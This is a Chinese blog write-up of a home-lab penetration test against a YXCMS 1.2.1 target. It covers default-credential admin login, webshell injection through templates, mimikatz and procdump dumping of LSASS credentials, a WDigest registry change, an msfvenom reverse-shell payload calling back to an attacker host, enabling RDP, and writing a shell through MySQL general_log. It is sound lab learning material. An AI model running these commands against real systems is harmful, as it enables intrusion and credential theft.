记一次内网渗透

靶机:192.168.1.7

渗透过程

扫描目录:image1
发现有用的:

1. http://192.168.1.7/beifen.rar
2. http://192.168.1.7/phpinfo.php
3. http://192.168.1.7/phpmyadmin/
4. http://192.168.1.7//l.php

1、beifen文件中是yxcms的源文件
image2
不太懂怎么看,对我而言觉得应该查到yxcms的版本吧,然后对相应的版本去了解相关的漏洞,因此网上找了一波发现:
image3
因此我在后面加上admin之后进入后台:http://192.168.1.7/yxcms/index.php?r=admin
image4
是1.2.1的版本,这个在备份下来的源代码中的升级内容也是有的
image5
根据那篇文章中说的默认账号密码试一试:
image6
进去了,额这不是我想要的结果,因为常规来讲着这样的账号密码会重新设置的。
我们接着看代码审计方面的东西:
搜索yxcms 1.2.1代码审计:
image7
看到可以使用一些代码审计工具进行审计,那么我们也下载一个seay代码审计工具,安装后进入:
image8
审计的过程:
image9
好强大,扫出来这么多东西:
image10
那么按照这篇博客讲的,可以先对config.php进行审计:image11
发现了我能看懂的数据库登录账号及密码,当然是默认的:
image12
这个看着像上传的白名单:
image13
接着按照blog的内容来审计,发现网站代码中lib的内容为功能文件:
image14
image15
根据blog所写内容(这部分压根理解不透彻),审计set_cookie功能,该功能为生成cookie的方法,发现其中cp_encode函数进行cookie加密,之后的cp_decode进行解密,那么依据blog中内容,需要进行代码调试,看看cookie解密的内容是什么:
image16
cp_encode:
image17
image18
cp_decode:
image19
依照blog内容,我们依照步骤进行,但是进行到代码执行时不能正常执行cp_decode函数,所以不能正常运行:
image20
我这边调试程序,使用网站登录上去的cookie,名字是yx_auth相应的值,使用加密函数cp_encode生成的cookie登录,登陆不上去。
image21
至此代码审计cookie审计结束。
再翻一翻其他东西,发现yxcms1.2.1默认后台管理员地址是:
http://192.168.1.19/yxcms/index.php?r=admin
访问之后,使用默认账号密码:admin/123456,成功登录。点击全局设置中的前台模板、管理模板文件发现各种php文件;
image22
在模板内容编辑中写一个shell,保存:
image23
之后访问shell,能够正常运行显示phpinfo:
http://192.168.1.19/yxcms/index.php?cmd=phpinfo();
image24
接着我们使用shell管理工具连接成功上去:
Shell地址就是index.php:
image25
系统权限:
image26
查看系统版本及架构:win7 64:
Wmic os get caption
Wmic os get osarchitecture
image27
因有个计划使用mimikatz上传一个hash获取工具,密码抓回来:
执行该条命令在mimikatz的上传目录下面生成一个password.txt的文件,查看该文件的内容可获取密码,为什么这样做是因为mimikatz没有直接的交互界面:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt
image28
获得的密码为hongrisec@2019
当然目前是没有杀软的情况下执行的,还有中方法是利用procdump配合mimikatz使用的,使用procdump将在线的密码进行保存为1.dmp之后使用mimikatz本地读取该文件获取密码。

  1. 使用procdump工具配合使用
    procdump64.exe -accepteula -ma lsass.exe 1.dmp
  2. 是用mimikatz本地读取内容
    mimikatz.exe "sekurlsa::minidump 1.dmp" "sekurlsa::logonPasswords full" exit > a.txt
  3. 查看a.txt的文件内容发现密码是hongrisec@2019

image29
没问题。
接着把靶机杀毒软件安装上去在测试一遍:
image30
插曲,win10拿明文密码或者如果出现密码为null:
利用前提:拿到了admin权限的cmd,管理员用密码登录机器,并运行了lsass.exe进程,把密码保存在内存文件lsass进程中。
抓取明文:修改注册表,使用锁屏脚本等待系统重新登录,截取dmp文件。
1、 修改注册表
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
修改完之后,重新登录账号,此时抓出来的密码就是明文显示。
之后利用上文的方式离线读取密码即可。
锁屏脚本单独存放了可以使用这个锁屏脚本:
powershell -file lock-screen.ps1

好了接下来测试杀毒软件性能:
1、 常规做法,直接使用mimikatz,靶机直接爆炸了:
image31
2、 看样子直接执行是不行的,接着使用procdump配合mimikatz:

先上传procdump:
上传没问题没报错:
接着命令保存dmp:
发现一个问题使用dir的时候爆炸了:
image32
那么直接执行procdump64.exe -accepteula -ma lsass.exe 1.dmp呢?还是不行,哎,看样子杀毒软件还是比较猛。
image33
之后使用了一个名叫冰蝎的东西,比较好用,之前知道源码以及路径所以使用如下连接:
http://192.168.1.19/yxcms/protected/apps/default/view/default/shell.php
image34
上传执行procdump64.exe -accepteula -ma lsass.exe 1.dmp还是拒绝访问:
image36
那么直接添加3389呢?还是不行
image37
搞了各种方法就是进不去其中也试过msf上传木马的方式,问题在于上传上去之后不能执行,所以有waf过不过难受想哭,接着恢复成没有waf的情景。
接着使用冰蝎工具利用meterperter反弹shell上传木马的方式getshell:
填写上kali的ip地址和meterperter的监听端口号:
image38
image39
image40
执行exploit之后使用冰蝎的给我连接之后进入meterpretershell,解析来的思路上传一个木马,获取系统权限:
1、 制作一个木马:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.8 lport=5555 -f exe >shell.exe
image41
2、 将shell.exe上传到靶机中,并执行。
image42
image43
因为这里冰蝎有点问题,我使用蚁剑连接一个shell之后开启cmd执行木马先执行exploit之后执行cmd中的shell.exe:
image44
image45
查看系统信息:
image46
查看系统进程以及提权:
image47
使用meterpreter中的shell命令打开3389:
run post/windows/manage/enable_rdp
image48
添加管理员:
run post/windows/manage/enable_rdp username="admin"password="admin123"
image49
提示没有权限的用户那么直接使用系统用户试一试之前dump出了账号密码,一样的情况:
image50
使用系统命令试一试:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f # 开启3389命令
image51
提示密码类型不匹配,那么我们来个大小写数字:
image52
没问题,接着连接3389。我才发现刚才那个提示是因为用户名必须是admin1不能有前缀那种。
image53
如果登录这个用户会把当前用户挤下去,所以可以上传一个rdp多开工具,我们这边就不上传了。
image54
靶机上显示:
image55
重新登录上路很慢,给我的感觉怎么像是新建了一个用户:
image56

换一条思路走mysql路线:
最早发现了他的phpmyadmin,因此可以http://192.168.1.7/phpmyadmin/,顺带说一下环境有些问题,所以从新配置之后是1.19,账号密码是root。
image57
采用日志写入shell的方式:
1、 查看日志状态:
show variables like '%general%';
image58
需要开启general_log为on:
SET GLOBAL general_log='on'
image59
创建日志文件,并定义它的路径
SET GLOBAL general_log_file='C:/phpStudy/www/shell.php'
image60


  • 仅供学习,在自己的局域网环境中复现实验,切勿用于商业用途,后果自负。